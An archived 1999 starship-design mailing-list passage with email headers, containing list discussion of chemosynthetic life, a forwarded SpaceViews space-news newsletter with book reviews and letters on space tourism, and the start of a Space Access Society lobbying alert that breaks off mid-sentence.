12:38:29 -0400",Re: starship-design: re: interstellar planets supporting life,"In a message dated 7/10/99 3:54:35 PM, bfranchuk@jetnet.ab.ca writes: >> >> I was wondering about that. They've found that the temp of planets like >> Earth and Venus are much moredetermined by the temperature of its core, >and >> the nature of its crust. So the surface temp could be similar. Life >forms >> could be based of cemosynthasis like the stuff living near ocean bottom >> volcanic vents. Is anything down there a oxegen producer? Sounds like >a lot >> of the evolution could be similar. Fish, legged animals, etc. >> >> Kelly > >Photosynthesis is the only known oxygen producing reaction >in life that I know about. Thermal reactions don't supply a lot >of surplus energy however. That is the key factor. > >Ben Not thermal reactinos, chemical reactinos. The chemosynthasis used by bacteria near the ""black smokers"" >From VM Fri Jul 16 10:09:59 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""496"" ""Thursday"" ""15"" ""July"" ""1999"" ""21:48:11"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""8"" ""starship-design: Last lunar words"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 496 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id SAA10357 for starship-design-outgoing; Thu, 15 Jul 1999 18:53:03 -0700 (PDT) Received: from imo27.mx.aol.com (imo27.mx.aol.com [198.81.17.71]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id SAA10348 for ; Thu, 15 Jul 1999 18:53:01 -0700 (PDT) Received: from KellySt@aol.com by imo27.mx.aol.com (IMOv20.21) id zOSLa22089 (3943); Thu, 15 Jul 1999 21:48:13 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Mac - Post-GM sub 54 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu, DotarSojat@aol.com, RICKJ@btio.com, ric.hedman@micropath.net, info@new-utopia.com, indy@the-line.com, moschleg@erols.com, Sdudley6@aol.com, MARK.A.JENSEN@cpmx.saic.com, DTaylor648@aol.com, JohnFrance@aol.com Subject: starship-design: Last lunar words Date: Thu, 15 Jul 1999 21:48:11 EDT Everyone know what were first words spoken by the first man on the moon were, but very few people know the last ones. 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Clayton Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design"" Subject: starship-design: FW: SpaceViews -- 1999 July 15 Date: Fri, 16 Jul 1999 17:04:07 -0500 -----Original Message----- From: owner-spaceviews@wayback.com [mailto:owner-spaceviews@wayback.com]On Behalf Of jeff@spaceviews.com Sent: Wednesday, July 14, 1999 4:05 PM Subject: SpaceViews -- 1999 July 15 [ SpaceViews (tm) newsletter ] [ see end of message for our NEW address to subscribe / unsubscribe ] S P A C E V I E W S Issue 1999.07.15 1999 July 15 http://www.spaceviews.com/1999/0715/ *** News *** Former Astronaut Pete Conrad Dies Kazakhstan Lifts Ban on Baikonur Launches Near-Earth Asteroid No Longer A Collision Threat NASA Confirms July 20 Shuttle Launch Date Mir Air Leak Not Serious Delta Launches Globalstar Satellites X-38 Completes Fourth Drop Test Teledesic Moves Ahead SpaceViews Event Horizon Other News *** Book Reviews *** The Last Man on the Moon Totality *** Letters *** Your Thoughts on Space Tourism Editor's Note: We are in progress of adding a new section to our Web site dedicated to the Moon. Rather that duplicate those sites marking the 30th anniversary of the Apollo 11 landing, the SpaceViews section will include information on current lunar exploration (Lunar Prospector's mission will end at the end of this month) and future prospects. Check our Web site (http://www.spaceviews.com) in the coming days as well as future issues of SpaceViews for more information about this section. *** News *** Former Astronaut Pete Conrad Dies Former astronaut Charles ""Pete"" Conrad, the third human being to set foot on the Moon, died in a motorcycle accident in southern California Thursday, July 8. He was 69. Conrad was riding a motorcycle with friends when he ran off the road near Ojai, California, northwest of Los Angeles. He was taken to a local hospital, where he died several hours later. Conrad, born in Philadelphia in 1930, joined the astronaut corps in 1962 as one of the nine members of the second astronaut class. He first flew in space in 1965 as pilot of Gemini 5, commanded by Mercury veteran Gordon Cooper. Conrad went on to command Gemini 11, the next-to-last flight of the program, a year later. He was probably best known as commander of Apollo 12, the second lunar landing mission. He and lunar module pilot Alan Bean spent nearly eight hours on the surface of the moon in two spacewalks in November 1969. Conrad's precision flying of the Apollo 12 lunar module set them down just a short distance away from the unmanned Surveyor 3 spacecraft that had landed there several years earlier. Conrad stayed in the astronaut corps after the Apollo 12 mission and was assigned as commander of Skylab 2, the first manned mission to America's first space station. That flight turned into an emergency repair mission when Skylab was damaged during launch. After Conrad and crew members Paul Weitz and Joseph Kerwin repaired the station, they spent nearly a month there. Conrad retired from NASA and the Navy after Skylab 2 and later joined McDonnell Douglas, where he worked for 20 years. During his time there he was involved with the Delta Clipper Experimental (DC-X) project, including remotely flying the small prototype for a single-stage to orbit launch vehicle from the ground. In 1995 Conrad formed Universal Space Lines, a family of companies involved with developing a commercial space infrastructure ranging from launch vehicles to ground stations. ""He embodied the 'can-do' spirit of NASA, taking on problems and dealing with them without a lot of fuss,"" NASA administrator Dan Goldin said in a statement. ""America has lost one of the great aviators and explorers of the 20th century."" Conrad will be buried ar Arlington National Cemetary in a ceremony scheduled for July 19. Several Apollo astronauts are expected to attend the ceremonies. Kazakhstan Lifts Ban on Baikonur Launches The government has lifted a ban on most launches from the Baikonur Cosmodrome, clearing the way for a critical launch later this week of supplies to the Mir space station. A Kazakh government official told Reuters that the government had lifted the ban it imposed last week on all launches from Baikonur except those using the Proton booster. Proton launches are still banned while the investigation into a July 5 crash of a Proton continues. Russia had lobbied heavily for the ban to be lifted so it could launch a Soyuz booster carrying a Progress-M cargo spacecraft to Mir. That launch, originally slated for July 14, is now likely to occur on Friday, July 16, or Sunday, July 18. The Progress carries food, water, and other supplies and equipment to Mir, including a new guidance computer for the station. Russian officials said earlier in the week that if the Progress was not launched by July 20, it would not be able to reach Mir with its current cargo because it would have to expend extra fuel to reach the station. The supplies will allow the Mir crew to remain on the station until late August, when they plan to return to Earth. Before leaving they will install the new guidance computer, which will permit Mir to remain in the proper attitude while left unmanned. Russian Space agency officials had warned that if the Progress was not launched, the crew would have to evacuate the station. Moreover, Mir would have lost its attitude control, complicating its planned reentry early next year. Russia reportedly offered to pay over $100 million it owed to Kazakhstan for rent of the Baikonur launch site, as well as compensation for the Proton crash. Terms of the agreement were not announced by Kazakh officials, though. The lifting of the ban should also clear the way for the launch this month of a Ukrainian Zenit 2 booster, carrying the Russian-Ukrainian Okean remote sensing satellite. That launch, originally planned for July 8, was delayed when Kazakhstan imposed the ban on all Baikonur launches June 6. No date for the Zenit 2 launch has been announced. There was also no indication on when Kazakhstan would again permit Proton launches from Baikonur. Russian officials had said earlier this month that they expect to wrap up the investigation into the Proton crash, which has now been linked to an explosion in the second stage of the Proton about four and a half minutes after launch, possibly linked to a sudden temperature increase in one of the second stage's engines. NASA officials are carefully watching the Proton investigation, since a Proton is scheduled to launch the Zvezda service module for the International Space Station in November. Near-Earth Asteroid No Longer A Collision Threat The discovery of a 44-year-old photo of a near-Earth asteroid has all but eliminated any possibility that the object could hit the earth next century, astronomers reported July 12. Two German amateur astronomers, Arno Gnadig and Andreas Doppler, located a pre-discovery image of asteroid 1999 AN10 that dates back to 1955. The image, taken as part of the first Palomar Sky Survey, dates back to when the asteroid was making a close approach to the Earth and visible high in northern skies. Asteroid 1999 AN10 attracted attention earlier this year shortly after its discovery, when astronomers computed its orbit and discovered a billion-to-one chance that it could collide with Earth in 2039. Later analysis discovered another possible impact with 500,000-to-1 in 2044. Those predictions, though, were based on only few months' worth of observations and thus had large uncertainties. The discovery of the 1955 image allows astronomers to tie down the orbit with much greater accuracy. The refined orbit essentially eliminated any possibility of an impact in 2039 and 2044. In fact, Brian Marsden and Gareth Williams of the Minor Planet Center note that in 2044, 1999 AN10 will be on the opposite side of the Sun, more than 320 million kilometers (200 million miles) from the Earth at the time of the previously-predicted impact. The improved orbit also adjusted a close approach the asteroid will make to the Earth in 2027. Instead of passing as close as 32,600 km (20,200 mi.), the asteroid will pass at around 390,000 km (242,000 mi.), or about the Moon's distance from the Earth. The asteroid will not pass close to the Earth until 2076, when it will come no closer than 1.2 million kilometers (745,000 mi.) to the Earth. The revised orbit underscores the need to not only ramp up current searches for near-Earth objects, but to dig into archives to look for images that include the object prior to its discovery. The discovery of the impact potential for 1999 AN10 was publicized in April by Benny Peiser, moderator of a mailing list used by the near-Earth asteroid research community. Peiser generated some criticism for publicizing the earlier impact probabilities, but he notes ironically now that the whole affair could have been avoided, since the pre-discovery image is included in the publicly-accessible Digital Sky Survey. ""It is quite astonishing that the teams involved in calculating impact probabilities for 1999 AN10 apparently failed to check this data before going public,"" he said in a message on his list July 13. ""After all, they could have avoided announcing a short-term 'problem' right from the start."" ""Unless we can improve this astronomical data base [of facts and observations] substantially,"" he added, ""we will have to rely on short-lived and highly speculative probability statistics which begin to look like a game of pure gamble."" NASA Confirms July 20 Shuttle Launch Date NASA officials made July 20 the official launch date for STS-93, the second shuttle mission of the year that features the launch of the Chandra X-Ray Observatory and the first female commander. In a Thursday, July 8 briefing, shuttle managers confirmed that STS-93 was on track to launch at 12:36 am EDT (0436 UT) July 20, at the beginning of a 46-minute launch window. July 20 has been the unofficial date crews had been working towards for a month prior to Thursday's announcement. The primary purpose of STS-93 is to deploy the Chandra X-Ray Telescope (formerly the Advanced X-Ray Astrophysics Observatory, or AXAF). The crew will deploy Chandra and its Interial Upper Stage (IUS) booster engine from Columbia's cargo bay seven hours after launch. About an hour after deployment the IUS will begin a series of burns that will eventually place Chandra into an elliptical orbit between 10,000 and 140,000 km (6,200 and 87,000 mi.) above the Earth. Problems with chandra have delayed the launch of STS-93 by near a year. Most recently, a failure with an IUS used on a Titan 4 launch caused about a two-week delay while the Air Force, NASA, and IUS builder Boeing worked together on an investigation. The results of that investigation have not yet been released. The rest of the mission will be devoted to a number of secondary experiments. These projects range from studies of plant growth in microgravity to tests of a new lightweight solar array hinge to an ultraviolet astronomy experiment. The focus of the mission, though, will be on its crew, and in particular commander Eileen Collins, the first woman to command a shuttle mission. Collins has attracted considerable attention since she was first named commander of the mission in a White House ceremony in March of 1998. At a July 7 press conference, Collins said the selection of a woman as a shuttle commander was ""a long time coming,"" noting the role women played to pioneer aviation early in the century. Collins said First Lady Hillary Rodham Clinton was considering attending the launch, a possibility confirmed by White House officials. Collins escorted President and Mrs. Clinton when they attended the October 1998 launch of STS-95, featuring John Glenn's second spacefight. The other members of the STS-93 crew include rookie pilot Jeffrey Ashby and mission specialists Steven Hawley, Cady Coleman, and Michel Toganini, representing the French space agency CNES. Assuming an on-time launch, Columbia will return to the Kennedy Space Center for a landing just after 11:30 pm EDT July 24 (0330 UT July 25.) Mir Air Leak Not Serious A small loss of air pressure presents no danger to the crew of the Russian space station Mir, officials said Saturday, July 10. Officials at the Gagarin Cosmonaut Training Center told the Interfax news agency that the atmospheric pressure on Mir has been dropping slowly over the last two weeks. Sources say the loss of pressure has only been about 1 mm of Hg per day, amounting to only a couple percent of Mir's air pressure overall. ""We are not treating this as an accident or an emergency, and there is no need for panic,"" an unnamed official told Reuters. ""They [the Mir crew] have plenty of oxygen supplies."" The cause of the air pressure decrease is unknown. Engineers originally hypothesized that changes in temperature in one of Mir's modules was causing the air pressure change, but they acknowledge that air could be leaking out through faulty valves or cracks in the module's hull. Officials have recommended to the three-man crew of Viktor Afanasyev, Sergei Avdeyev, and French astronaut Jean-Pierre Haignere that they close all internal hatches and monitor pressure as a way of isolating the location of the pressure loss. Delta Launches Globalstar Satellites A Boeing Delta 2 successfully launched four Globalstar satellites from Cape Canaveral, Florida, early Saturday, July 10. The Delta 2 lifted off from Pad 17B at 4:45 am EDT (0845 UT). No problems were reported to the launch, and the Delta 2's payload of four Globalstar satellites were successfully placed into orbit. The launch was originally scheduled for July 8, but delayed on two successive days by high upper-level winds. Those winds subsided to permit Saturday's launch. The launch is the second in a series of four Delta 2 launches planned for this summer to place one-third of Globalstar's 48-satellite constellation. The first took place June 10, with two more planned for July 24 and August 14, both from Cape Canaveral. With Saturday's launch, 28 Globalstar satellites are now in orbit, 16 from four Delta 2 launches and 12 from three Soyuz launches. Three more Soyuz and one more Delta 2 will be used this fall to complete the constellation plus fly four on-orbit spares. Globalstar plans to offer a limited version of its worldwide phone service this fall after the series of summer Delta 2 launches are complete. It will offer full phone service after the constellation is completed late this year. X-38 Completes Fourth Drop Test The X-38, a prototype of a future crew return vehicle for the International Space Station, successfully completed its fourth test flight Friday, July 9. X-38 vehicle #132 was dropped from a B-52 at an altitude of 9,500 meters (31,500 feet) Friday morning. The X-38 flew free for 31 seconds, the longest free flight yet, before deploying a new drogue chute and gliding to a successful landing on the lakebed at Edwards Air Force Base, California. The flight was the second for this X-38 test vehicle, and the fourth overall. Vehicle 132, which has better control surfaces and instrumentation than the original test vehicle, first flew March 5. Flights were delayed after that until a new drogue chute, capable of flights at higher altitudes could be tested. About four to five test flights of this X-38 vehicle are planned for this year. Future test flights will raise the drop altitude to 13,600 meters (45,000 feet) with longer flight times. At the end of the year it will be joined by the original X-38 test vehicle, used in the drop tests last month and in March 1998 and currently undergoing a refit. A full-scale version of the X-38 should also be available by early next year. The X-38 is designed to serve as a crew return vehicle should a medical emergency or other accident require the crew to evacuate the station before a shuttle or other spacecraft could arrive at the station. The spacecraft is also being considered for other purposes, including use as a ferry vehicle launched atop a European Ariane 5 booster. Teledesic Moves Ahead Teledesic announced contracts July 9 with Motorola and International Launch Services for the assembly and launch of its constellation of low-Earth orbit communications satellites. The contracts, plus word that the company has raised $1.5 billion in funding, provide new momentum for the broadband communications provider that had appeared to stall out earlier this year. Teledesic said it reached an agreement with Motorola to serve as the prime contractor for the Teledesic network. Motorola will handle the engineering and construction of the satellite constellation. Teledesic also signed a contract with International Launch Services, the joint venture between Lockheed Martin and Russian aerospace firms Energia and Khrunichev, to launch the satellite constellation. Teledesic purchased three launches each on the heavy-lift Atlas 5 and Proton M boosters, with options for five more launches on each vehicle. No date for the first launches were given, but since both the Atlas 5 and Proton M are in development the launches are not expected for the near future. Lockheed Martin says the first flight of the Atlas 5, an upgraded version of the Atlas 3, is not expected until late 2001. The Proton M, an modernized version of the Proton K currently in use, has not yet flown. Missing from the announcement were technical details about the Teledesic constellation. The Teledesic press release noted that the company's contract with Motorola depended on a successful final technical review, due in the next three months. At that time, the company said, details of the Motorola contract and a description of ""the enhanced system design"" would be publicized. The last publicized version of the constellation called for 288 satellites, plus spares, in low Earth orbits. However, recent speculation indicated that the number of satellites had gone down, to perhaps as low as 120. Teledesic also announced that it had raised $1.5 billion to date to develop the system. This includes a $150 million investment by Motorola, which joined the Teledesic effort in May 1998 when it abandoned Celestri, its own broadband satellite constellation it was planning. However, Motorola, which is also a key investor in the troubled Iridium satellite communications system, appeared to grow hesitant about Teledesic in recent months, pulling a group of its engineers off the project for a time. Some subcontractors also followed suit. Those workers will likely return to the project, as Teledesic paid Motorola $250 million as a down payment for its work as prime contractor. ""We have savvy investors who understand the unique merits of our business plan, including the differences between our services and markets and those of others,"" Bill Owens, co-CEO and vice chairman of Teledesic, said. ""They also have a global perspective and understand that this is a long-term undertaking that will help serve an unmet worldwide need for broadband services."" SpaceViews Event Horizon July 15-16 Lunar Base Development Symposium, League City, TX July 16? Soyuz launch of the Progress-M 42 cargo spacecraft to Mir from Baikonur, Kazakhstan July 20 Launch of the shuttle Columbia on mission STS-93 (Chandra X-Ray Telescope deployment) at 12:36 am EDT (0436 UT) July 24 Delta 2 launch of four Globalstar satellites from Cape Canaveral, Florida, at 7:33 am EDT (1133 UT) July 24 Landing of the shuttle Columbia to end mission STS-93 at the Kennedy Space Center, at 11:31 pm EDT (0331 UT July 25) July 31 Pegasus XL launch of 8 ORBCOMM satellites from Kwajalein (Pacific Ocean) July TBD Zenit 2 launch of the Okean O-N1 satellite from Baikonur, Kazakhstan August 4 Ariane 4 launch of the Indonesian Telekom-1 communications satellite from Kourou, French Guiana. August 12-15 Mars Society 1999 Conference, Boulder, CO September 23-26 Space Frontier Conference 8, Los Angeles, CA Other News Solar Wind Discovery: Scientists using data from two spacecraft have figured out how the solar wind reaches speeds of up to 800 km/sec (500 mi/sec), NASA announced July 8. Solar wind ions ""surf"" on waves in the magnetic field lines of the Sun, accelerating them to the high speeds that are twice as fast as predicted by theory. ""These vibrating magnetic waves give solar wind particles a push, just like an ocean wave gives a surfer a ride,"" said John Kohl of the Smithsonian Astrophysical Observatory. The vibrating magnetic fields, discovered by the SOHO spacecraft and the Spartan solar science satellite deployed last fall on the STS-95 shuttle mission that features John Glenn, solve a mystery about the speed of the solar wind that had existed since the early 1960s. Ariane Launch Schedule: Arianespace plans an aggressive launch schedule for the rest of 1999, the company announced July 13. Arianespace plans eight Ariane 4 and 5 launches from August through December, starting with the Ariane 4 launch of the Telekom-1 satellite August 4. There have been only two Ariane launches this year, and none since early April, because of delays delivering satellite payloads to Ariane. Plesetsk Launch: A Molniya booster launched a Russian military communications satellite July 10 from Plesetsk, Russia. The satellite, also called Molniya, was placed in an elliptical, including orbit that better serves high latitude locations than geosynchronous satellites. The launch was the first of the year from Plesetsk, which had not seen a launch since two flights in December 1998. GOES-L Delay: The newest weather satellite, GOES-L, will remain on the ground until at least mid-October, officials with the National Oceanic and Atmospheric Administration announced July 12. The launch has been delayed because of concerns about an RL-10 engine used in the Centaur upper stage of the Atlas 2 booster that will launch GOES-L. A similar engine apparently exploded during a Delta 3 launch in May. The repairs will not be completed before late August, when the fall eclipse season for geosynchronous satellites begins, as the Earth blocks the Sun for up to 72 minutes a day. The eclipse season ends in mid-October, and NOAA and Atlas builder Lockheed Martin will then work to schedule a launch later in the month or in November. NGST Contracts: Two aerospace companies were awarded contracts by NASA last week to begin preliminary designs of the Next Generation Space Telescope, the successor to the Hubble Space Telescope. Two teams, one led by Lockheed Martin and the other by TRW and Ball Aerospace, received 30-month contracts of about $15 million each to come up with preliminary designs of the NGST, which will feature an 8-meter (26.4-foot) mirror, several times larger than the one in Hubble. One of the designs will be selected in 2001 for construction, with launch planned in 2008. Briefly: Scientists in New Zealand are on the hunt for traces of a meteor which exploded over the country's North Island on July 7. Astronomers have narrowed down the path of the meteor to a 100-km strip partially over water, the New Zealand Herald reported July 12. No traces of the meteor, whose original size is unknown, have yet been found... Ehud Barak, the new prime minister of Israel, wants the United States to set a date for the first flight of an Israeli on the space shuttle. Two Israeli pilots have been training in the United States but have not been assigned to any flights. Barak told an Israeli newspaper than he hopes the U.S. will set a date during Barak's upcoming trip to Washington... Through all the concern about the fate of Mir, it's a little surprising a historic anniversary was relatively ignored recently. July 11 marked the 20th anniversary of the reentry of Skylab, America's first space station, as it burned up and scattered debris over portions of the Indian Ocean and Australia. That reentry was relatively harmless, so we can only hope for the same next year when Mir's turn comes around... *** Book Reviews *** by Jeff Foust The Last Man on the Moon: Astronaut Eugene Cernan and America's Race in Space by Eugene Cernan with Don Davis St. Martin's Press, 1999 hardcover, 356pp., illus. ISBN 0-312-19906-6 US$24.95/C$38.75 Buy this book at Amazon.com: http://www.amazon.com/exec/obidos/ASIN/0312199066/spaceviews Gene Cernan holds the dubious distinction of being the last person to walk on the Moon, as commander of Apollo 17. Of course, it's not his fault that he was the last, but how he got to command the final Apollo landing mission was an interesting story of determination, fate, and luck both good and bad. Cernan tells the story of Apollo 17, along with his career as an astronaut, in ""The Last Man on the Moon"". Cernan's book is a memoir that starts with his childhood days outside Chicago, through college life at Purdue and his early career as a naval aviator, though his selection and career as an astronaut. The book includes vivid depictions of events such as Cernan's Gemini 9 spacewalk, which was fraught with trouble and danger, as well as the Apollo 10 ""dress rehearsal"" which nearly ended in disaster for Cernan and commander Tom Stafford. Cernan minces no words in his account of his astronaut career: he lets you know whom he liked and whom he didn't. In particular, he includes several sharp barbs about Buzz Aldrin, deflating Aldrin's claims to have revolutionized spacewalks on his Gemini flight and criticizing Aldrin's grandstanding to be the first to walk on the moon, an opinion Cernan said was shared by other members of the astronaut corps. There's little in the book about life after Apollo other than a brief account of his departure from NASA for private industry and his divorce and remarriage. However, Cernan's first person account of the Gemini and Apollo programs gives timely new insights on NASA's efforts to put a man on the moon, and how astronauts like Cernan helped make it possible. Totality: Eclipses of the Sun by Mark Littmann, Ken Willcox, and Fred Espenak Oxford University Press, 1999 softcover, 268pp., illus. ISBN 0-19-513179-7 US$18.95 Buy this book at Amazon.com: http://www.amazon.com/exec/obidos/ASIN/0195131797/spaceviews Get ready for another case of eclipse fever. In August a total solar eclipse will be visible from Europe through the Middle East into India, with million gearing up to view the last total eclipse of the century and millennium. (This is true whether you consider 1999 or 2000 the last year of the century: there are no total eclipses in 2000.) Just in time for this latest eclipse is the second edition of ""Totality"", an excellent book solar eclipses. The book, written by a trio of eclipse experts and experienced observers (one of whom, Willcox, tragically passed away earlier this year) starts with some basic information about eclipses and early myths associated with them. The book then moves to more modern eclipse accounts, including how scientists today use eclipses to learn more about the Sun. Later chapters cover how to safely observe and photograph eclipses. One chapter of the book is dedicated the August 11 total eclipse, and another covers eclipses that will occur over the next half-century, making sure this book will not be easily outdated. The authors manage to cover a wide range of topics -- from photography tips to the complicated nature of eclipse cycles, or ""saros"" -- at varying levels, and do so well. ""Totality"" is a great resource for both the experienced eclipse chaser to the beginner eager to learn more about eclipses. *** Letters *** Your Thoughts on Space Tourism [Editor's Note: These letters are in response to our July 1 article about the recent space tourism conference in Washington, accessible online at http://www.spaceviews.com/1999/07/article1a.html. Letters can be sent to letters@spaceviews.com.] Possibily without intending to, Wolfgang Demisch, one of the conference speakers, identifies the biggest problem in financing space tourism today: given the current level of our tecyhnology, it's pretty nearly impossible to create a credible business plan that goes gradually. Everything is running on the ragged edge of disaster; investors and insurers tend not to like that. It's worth remembering that the Wright Brothers built their first plane on the back of almost half a century of glider and engine technology. Moreover, flight technology was further fast-tracked by two world wars, yet it took the best part of six decades before air tourism to really become something the masses might seriously aspire to. Air tourism also had the advantage of international agreements which expressly limited the compensation payable to victims of air accidents... a extremely useful luxury that space tourism ventures are highly unlikely to have. Under the circumstances, the development of tourism-friendly launch vehicles may not be travelling as slowly as some dreamers claim. Robert Clements The biggest problem facing space tourism is the red tape. The licensing and insurance required to try it are taking over twice the effort, and cost, as the engineering. The regulations for certifying, licensing and even getting waivers to fly private space craft are daunting. No one has any clear idea of the requirements or how to answer them. Not other, larger, aerospace companies, not lawyers, not NASA, AST, FAA, FCC, DoT or NSTB. The science, engineering, physics and chemistry? They are the easy part. Jim Hill Cerulean Freight Forwarding Company The article on space tourism ignores the news article ""Explosion Cause of Delta 3 Failure"" in the same issue. Public awareness of the real risks is a significant limit to the market. Tourism advocates don't seem to recognize that as a significant issue. Even in Apollo, where dollar cost was not really a consideration, there were accidents and loss of life. The high mission loss rate reported in the news article reflects the higher risks associated with today's cost driven environment. Commercial operations can afford the risks when it is just hardware and money. But most people want better odds before risking their lives. Michael McGuirk Routine space tourist launch services, for a reasonable price per flight, require new, completely reusable launch vehicles. The turn-around time for these vehicles must be short, which means aircraft-like operations. Furthermore, safety must be high, at least comparable to that of ""extreme"" sports such as skydiving. For this a high reliability and extensive abort possibilities are required. No such space vehicle exists today. The Space Shuttle is only partly reusable, has a turn-around time of several months and is much too expensive to operate. Low-cost, reusable launch vehicles with short turn-around times are only now under development by NASA (VentureStar), ESA (FESTIP), NASDA and several private companies. These vehicles are intended to lower launch costs for satellites. For tourism these vehicles will still be rather expensive and safety is too low for launching tourists: even a reliability of 99% (which is high compared to current launch vehicles) means that of 100 launches, 1 vehicle does not make it to orbit. Imagine that in every 100 commercial aircraft flights one crashes or has to make an emergency landing, that would mean several airplane emergency situations per day! Rocket motors are still not even nearly as reliable as jet engines. Vehicles for space tourism could be the next generation of reusable launchers, but first those now under development will have to prove that routine, low-cost, safe operations with fast turn-arounds are possible for regular satellite launches. Only then will investors see the possibilities these kind of vehicles offer for space tourism and be prepared to put any money into it. It's just too early for space tourism; the market is there but the technology is not (yet). Michel van Pelt I'm a 38 years old dentist who lives and works in Brazil. I've visited the U.S. for 5 times. I've visited Cape Canaveral in Florida twice and I love all subjects related to space science and exploration. My dream is at least see one launch of the Space Shuttle. But if I could go to space even for a few hours it would be the most beautifull dream of my life. The risks are insignificant when compared with such a wonderful idea. Leopoldo Andriao Junior ======== This has been the July 15, 1999, issue of SpaceViews. SpaceViews is also available on the World Wide web from the SpaceViews home page: http://www.spaceviews.com/ or via anonymous FTP from ftp.seds.org: ftp://ftp.seds.org/pub/info/newsletters/spaceviews/text/1990715.txt To unsubscribe from SpaceViews, send mail to: majordomo@spaceviews.com In the body (not subject) of the message, type: unsubscribe spaceviews For editorial questions and article submissions for SpaceViews, including letters to the editor, contact the editor, Jeff Foust, at jeff@spaceviews.com For questions about the SpaceViews mailing list, please contact spaceviews-approval@spaceviews.com. --------------------------------------------------------------------------- ____ | ""SpaceViews"" (tm) -by Boston Chapter // \\ // | of the National Space Society (NSS) // (O) // | Dedicated to the establishment // \\___// | of a spacefaring civilization. --------------------------------------------------------------------------- ---------- - - To NOT receive future newsletters, send this message to our NEW address: - To: majordomo@SpaceViews.com - Subject: anything - unsubscribe SpaceViews - - E-Mail List services provided by Northern Winds: www.nw.net - - SpaceViews (tm) is published for the National Space Society (NSS), - copyright (C) Boston Chapter of National Space Society - www.spaceviews.com www.nss.org (jeff@spaceviews.com) >From VM Mon Jul 19 09:50:50 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""163"" ""Sunday"" ""18"" ""July"" ""1999"" ""18:03:14"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""5"" ""starship-design: A space ark."" ""^From:"" nil nil ""7"" nil ""starship-design: A space ark."" nil nil nil] nil) Content-Length: 163 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id QAA23287 for starship-design-outgoing; Sun, 18 Jul 1999 16:58:46 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id QAA23276 for ; Sun, 18 Jul 1999 16:58:43 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin33.jetnet.ab.ca [207.153.6.33]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id RAA25039; Sun, 18 Jul 1999 17:58:37 -0600 (MDT) Message-ID: <37926B42.EFE98367@jetnet.ab.ca> X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" , Richard Hallock Subject: starship-design: A space ark. Date: Sun, 18 Jul 1999 18:03:14 -0600 A interesting but very graphic site on a ark in space. More fiction the technical but a nice change of pace. http://genesis-space-station.simplenet.com/index.htm >From VM Wed Jul 21 14:40:43 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""16902"" ""Tuesday"" ""20"" ""July"" ""1999"" ""18:09:34"" ""-0500"" ""L. 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Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: FW: SSRT: Space Access Update no. 87 (fwd) Date: Tue, 20 Jul 1999 18:09:34 -0500 -----Original Message----- From: listserv@ds.cc.utexas.edu [mailto:listserv@ds.cc.utexas.edu]On Behalf Of Chris W. Johnson Sent: Tuesday, July 20, 1999 3:41 PM To: Single Stage Rocket Technology News Subject: SSRT: Space Access Update no. 87 (fwd) You'll find two forwarded items in this message: (1) Space Access Society Political Alert 07/19/99 (2) Space Access Update #87 7/19/99 ========================================================================= Date: Tue, 20 Jul 1999 01:19:30 -0400 (EDT) From: Donald L Doughty To: DC-X Subject: Space Access Political Alert 7/19/99 (fwd) Reply-To: delta-clipper@world.std.com Space Access Society Political Alert 07/19/99 This one is important - it's one of our top priorities for this year. (See Update #81 at www.space-access.org for details.) Please give it everything you've got. Summary: The Senate HUD/VA (NASA) Appropriations bill is scheduled for subcommittee then committee ""markup"" this week, starting Wednesday July 21st. The House equivalent is scheduled for markup starting next Monday, July 26th. If your Representative or a Senator from your state is on the House or Senate Appropriations Committee (see attached lists) please call fax or write them at their Washington office and ask them to do two things in the NASA Appropriation markup: - Add $50 million to NASA Future-X for reusable rocket low-cost flight operability demonstrations done as small business setasides, to encourage increased competition in the space launch business. - Do not add any funding for the premature and oversold ""Spaceliner 100"" airbreathing launch vehicle project, as a matter of priorities. Background, Item 1: We're pushing for startup funding for one or more NASA Future-X low-cost fast-turnaround high-speed reusable- rocket flight operations demonstrators, done as small business setasides, with a goal of $100 million or less (Future-X ""Pathfinder"" class projects) per flight vehicle program. The majors all have their own X-rocket projects, none to date very promising as far as significantly cheaper launch goes. We think it's time to give one or more of the entrepreneurial startup launch companies a chance to show what they can do on a shoestring. Background, Item 2: The ""Spaceliner 100"" RBCC-engined (RBCC is a notional hybrid rocket-airbreather) space launch vehicle project has been repeatedly oversold in recent months, to the point where we think the overstated and sometimes downright deceptive claims being made are actively damaging the already-fragile commercial investment environment for more proven near-term low-cost launch approaches. We approve of ongoing research aimed at bringing the various ""Spaceliner 100"" technologies closer to ready for prime time. We strongly oppose attempts to fund a half-billion-dollar flight vehicle project based on an as-yet hypothetical engine at the expense of real current commercial reusable launch vehicle projects. We think initiation of a $500 million ""Spaceliner"" flight vehicle project is both grossly premature in terms of the state of the technologies involved, and damaging to the near-term chances of implementing far more mature low-cost launch technologies. How To Do It If your Representative or one or both of your Senators is on the lists at the end of this alert, get their DC office address, fax number, or phone number from www.vote-smart.org. (Alternative: 